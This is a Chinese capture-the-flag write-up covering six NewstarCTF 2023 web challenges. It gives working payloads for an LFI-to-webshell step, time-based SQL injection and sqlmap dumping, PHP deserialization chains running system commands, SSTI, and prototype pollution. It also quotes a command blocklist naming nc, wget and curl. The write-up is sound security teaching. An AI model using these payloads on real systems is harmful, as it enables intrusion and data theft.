NewstarCTF2023 WEB [WEEK3] 题目及思路

目录

1、Include 🍐

 2、medium_sql

3、POP Gadget

4、GenShin

5、R!!!C!!!E!!!

6、OtenkiGirl


1、Include 🍐

提示了LFI to RCE,搜相关资料可知

payoad:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/a.php

然后使用蚁剑链接

157572bbabc441c3b3a2ee19a6e08c3b.png

 2、medium_sql

因为sqlmap跑不出来显示无参数可注入,所以手工注入,无回显采用了时间注入

当传入的ID的参数为and 1=1时,执行的语句为

原本的语句为:select * from users where id='TMP0929'

试到对关键词大小写不敏感

899c0659-0a5a-4123-adff-e1bb16ed1fc6.node4.buuoj.cn:81/?id=TMP0929' AND 1='1

因为1=1为真,且where语句中id=TMP0929也为真,所以页面返回id=TMP0929相同的结果(即物理那个页面)。当传入ID参数为'  AND 1='2,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果

数据库长度为3

?id=TMP0919' AND if((length(database()))=3,sleEp(5),1)%20 %23

库名ctf

?id=TMP0919' AND if((subsTr(database(),3,1)='f'),sleEp(5),1)%20 %23

只有一个表

?id=TMP0919' AND if((seLect coUnt(*) frOm infOrmAtion_schEma.tAbles whEre tAble_schEma='cTf')=1,sleEp(2),1)%20 %23

表长度为12:

?id=TMP0919' AND if((selEct length((selEct tabLe_nAme from infOrmation_schEma.tAbles wheRe table_schEma='ctf' limit 1,1))=12),sleEp(1),1)%20 %23

表第一个字母为h:

?id=TMP11503' AND if((selEct ascIi(sUbstr((seLect tablE_name frOm infOrmation_scheMa.tAbles whEre Table_scHema='ctf' limit 1,1),1,1)))=104,sleEp(1),1)%20 %23

我服了时间注入恶心死了,一直尝试下去它也是能出出来的,有感兴趣的自己试,我还是去改装一下sqlmap吧

需要加上--temper level和risk都拉满,得到表名为here_is_flag,列名为flag

sqlmap一开始返回的内容是截断的:

sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump

整这死出

5133d694f2244a2987178400d205c98d.png

所以还要加上--sql-shell,进行一个交互(--os-shell应该也行)

sqlmap -u "http://fdeadc52-ba42-4d2a-9dbd-12b43192b3ab.node4.buuoj.cn:81/?id=1" --data="id=1" --method=POST -D "ctf" -T "here_is_flag" -C "flag" --level=5 --risk=3 --dump --sql-shell

在交互那一行不断更改数字,自己拼接flag:

sql-shell> SELECT SUBSTR(flag, 1) FROM here_is_flag;

这个命令使用 SUBSTRING 函数从 flag 列中截取第1个字符及其后的内容,以获取完整的 flag 数据 

5fef4968a8f448bcba46149f969fb715.png

3、POP Gadget

题目代码如下

 <?php
class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']); 

($this->func)($this->var)$this->var 作为参数传递给保存在 $this->func 变量中的函数或方法。 这里我们可以给func传'system',var传'ls /'查根目录,起到一个system()的作用然后读flag文件。

pop链如下:

 <?php

class Begin{
    public $name;

    public function __destruct()
    {

    }
}

class Then{
    private $func;
	
	public function __construct()
 
    {
 
        $s=new Super();
 
        $this->func=$s;
 
    }

    public function __toString(){
        ($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
        return "Good Job!";
    }
}

class Handle{
    protected $obj;
	public function __construct()
 
    {
 
        $this->obj=new CTF();//实例化CTF()后给这里的obj赋值
 
    }

    public function __call($func, $vars)
    {
        $this->obj->end();//调用了CTF()里的end()方法
    }

}

class Super{
    protected $obj;
	public function __construct()
 
    {
 
        $this->obj=new Handle();//为protected $obj赋值
    }
    public function __invoke()
    {
        $this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;
 
    public function __construct()
 
    {
 
        $w=new WhiteGod();
 
        $this->handle=$w;
 
    } 
    public function end()
    {
        unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
    }

}

class WhiteGod{
    public $func='system';
    public $var="cat /flag";

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b)); 

需要特别注意的是在执行 unset($this->handle->log) 时,会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数,并将属性 $this->var 的值作为参数来执行。

因此,在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var),相当于执行 system('ls /'),即执行系统命令 ls /

整体来说是:

__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。

CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。

payload:

pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

4、GenShin

dirsearch扫描出console文件,访问可以进入到登录页面要求输入pin,随便输了123,抓包发现包返回有{"auth": false, "exhausted": false} ,根据英文意思,auth是身份验证,exhausted是耗尽这里应该表示尝试次数是否已经达到上限。当值为 true 时,认证次数已经用尽

爆破密码发现后面返回包是{"auth": false, "exhausted": ture} 。所以我修改返回包为{"auth": ture, "exhausted": false},但是没什么用,然后我改返回包改成{"auth": 1, "exhausted": 0}进入控制台

49a0de9f91fb4058a9b7b268c9af94cd.png

到这里就不会了,以为genshin会是什么关键提示结果这个东西就只是原神,而且一开始方向也错了,后面看了别人wp才知道怎么个事^~^

https://blog.csdn.net/m0_63138919/article/details/133958661?spm=1001.2014.3001.5502

 我们能看见pop /secr3tofpop 猜测这是个文件^~^

进行访问来到一个新页面要求我们传name值,这里就是看出是ssti类的题目了,后面的内容上面的链接和里面的拓展已经解释的很清楚了

payload:

?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}

5、R!!!C!!!E!!!

题目如下:

 <?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
} 

这里最麻烦的地方是最终无论如何都会return alright,而不是命令执行后的结果。

那么我们就可以采用和第一题差不多的思路让结果写入到html目录下的一个文件,然后我们再去访问这个文件逐步得到flag

首先构造pop链:

<?php
class minipop{
    public $code="ls /|te''e /var/www/html/2";
    public $qwejaskdjnlka;
    public function __toString()
    {
    }
    public function __destruct()
    {
    }
}
$a=new minipop();
$a->qwejaskdjnlka=$a;
echo serialize($a);

exec()执行系统命令ls /查询根目录,te"e /var/www/html/2,双引号绕过preg_match命令照样能执行,tee的作用是把查询到的根目录写入到当前网页下的文件2,我们再次访问文件2即可得到被打印的根目录

8b00a0911493433aa9aec5f3456768dc.png

aff192b495424837995863848583b0f1.png

这里我们就能知道flag在哪个文件,再读取flag写进一个新文件,payload最终如下:

payload=O:7:"minipop":2:{s:4:"code";s:43:"cat /flag_is_h3eeere |te''e /var/www/html/1";s:13:"qwejaskdjnlka";r:1;}

 访问1

21dc2d1401414fbebc435ffc8981b97d.png

6、OtenkiGirl

  js原型链污染可以导致未经授权的修改和访问JavaScript对象的属性和方法。它的发生是由于JS语言中原型继承的特性。在JavaScript中,每个对象都有一个原型(prototype),原型链是一种用于实现继承和属性访问的机制。每个对象都有一个指向其原型的内部链接。当查找对象的属性时,如果该对象本身没有该属性,JavaScript引擎会沿着原型链向上查找,直到找到属性或到达原型链的末端。

接下来解释一下js的继承机制,JavaScript中的原型链继承是一种对象之间共享属性和方法的机制。每个JavaScript对象都有一个指向其原型(prototype)对象的链接,通过这个链接可以实现属性和方法的继承。

当我们访问一个对象的属性或方法时,如果该对象本身没有定义该属性或方法,JavaScript引擎会自动在原型对象中查找。如果原型对象中也不存在,则继续在原型链上的上层原型对象中查找,直到找到该属性或方法或达到原型链的顶端为止。

以下是原型链继承的基本工作原理:

  1. 每个JavaScript对象都有一个内部属性 [[Prototype]],它指向该对象的原型对象。
  2. 当我们创建一个新对象时,JavaScript引擎会自动将该对象的 [[Prototype]] 设置为构造函数的 prototype 属性的值。
  3. 如果我们访问一个对象的属性或方法,但该对象本身没有定义,JavaScript引擎会沿着原型链向上查找,直到找到该属性或方法或到达原型链的顶端(null)为止。
  4. 如果找到了属性或方法,它会被返回;如果未找到,则会返回 undefined

举个例子A有苹果雪梨,B有苹果,C有西瓜,ABC是一个原型链,这个原型链的继承机制相当于你找C要苹果雪梨,C没有去看B,B有苹果没有雪梨,在往上找A,A有雪梨,所以虽然C没有苹果雪梨,但是找C要C还是能从AB那里扣出来苹果雪梨给你,如果ABC都没有才是真没有。

  原型链污染是利用了原型链查找的机制来进行恶意修改。攻击者可以通过篡改JavaScript中的原型对象,将恶意代码注入到原型中,当其他对象通过原型链继承了被污染的原型对象时,它们也会受到影响,从而导致意外的行为或数据泄露。

回到这道题目,我们下载zip文件,首先点开app.js:

const env = global.env = (process.env.NODE_ENV || "production").trim();
const isEnvDev = global.isEnvDev = env === "development";
const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;

const path = require("path");
const Koa = require("koa");
const bodyParser = require("koa-bodyparser");

const app = new Koa();

app.use(require('koa-static')(path.join(__dirname, './static')));
devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
app.use(bodyParser({
    onerror: function (err, ctx) {
        // If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
        if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
            ctx.request.body = {}
        } else {
            throw err;
        }
    }
}));

[
    "info",
    "submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

app.listen(PORT, () => {
    console.info(`Server is running at port ${PORT}...`);
})

module.exports = app;

1、在第四行const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");这表明引入了两个配置文件;

2、以下代码表明引入了 routes 文件夹下的两个文件:"info" 和 "submit":

[
    "info",
    "submit"
].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });

这里使用了一个循环来遍历字符串数组 ["info", "submit"]。对于数组中的每个元素 p,利用 require 函数将位于 "./routes/" + p 的文件导入。这表示 routes 文件夹下的 info.jssubmit.js 文件会被导入到代码中。然后使用 app.use 方法将导入的路由模块应用到 Koa 应用程序中,分别使用了 p.routes()p.allowedMethods(),表示使用路由模块的路由和允许的请求方法。

3、因此我们追踪到routes文件下的info.js和submit.js

info.js代码:

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

router.post("/info/:ts?", async (ctx) => {
    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
        return ctx.body = {
            status: "error",
            msg: "Content-Type must be application/x-www-form-urlencoded"
        }
    if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
    if (typeof timestamp !== "number")
        return ctx.body = {
            status: "error",
            msg: "Invalid parameter ts"
        }

    try {
        const data = await getInfo(timestamp).catch(e => { throw e });
        ctx.body = {
            status: "success",
            data: data
        }
    } catch (e) {
        console.error(e);
        return ctx.body = {
            status: "error",
            msg: "Internal Server Error"
        }
    }
})

module.exports = router;

我们注意到这段代码let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();,其意思是使用 CONFIG 变量中的 min_public_time 属性(如果存在),否则使用 DEFAULT_CONFIG 变量中的 min_public_time 属性。

4、我们继续追踪config文件和config.default文件,发现CONFIG 变量中没有min_public_time 属性,所以会使用DEFAULT_CONFIG 变量中的 min_public_time 属性。

config.default文件:

module.exports = {
    app_name: "OtenkiGirl",
    default_lang: "ja",
    min_public_time: "2019-07-09",
    server_port: 9960,
    webpack_dev_port: 9970
}

我们这里可以原型链污染污染min_public_time为更早的日期,尝试绕过这个日期限制。

5、查看submit.js文件:

内容很多,这里放关键代码:

const merge = (dst, src) => {
    if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {
        if (key in dst && key in src) {
            dst[key] = merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
    }
    return dst;
}

我们注意到在第7行中,如果key既存在于dst对象中,又存在于src对象中,则会递归调用merge函数将它们合并,否则dst[key]会被赋值为src[key]。这意味着如果src对象的原型链上存在名为'min_public_time'的属性,则该属性将被赋值给dst对象,那么dst[key]将会指向原型链上的值。在JavaScript中,对象可以具有特殊的属性__proto__,它指向对象的原型。通过修改data['__proto__']['min_public_time']的值,我们可以影响原型链上的属性。

6、因此我们提交那个加入购物车抓包,然后改包在post请求体哪里改成:

{
"date":"1","place":"1",
"contact":"11","reason":"11",
"__proto__": {

"min_public_time":" 2018-01-01"

}
}

2beed6682fc645209fc2dd3d1f23f591.png

然后回到网页把cookie值会话储存都清空,刷新然后点进会话储存,复制wishes的值出来即可看到flag(不过吧,有个小问题就是后面第二次开靶场的时候用了同样的手法不成功,偷了几个别人wp里的payload用也不成功(O.o?))

26eae9d4b7244d43af9c5fcdbc94cfc0.png

如有错误欢迎指出!

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值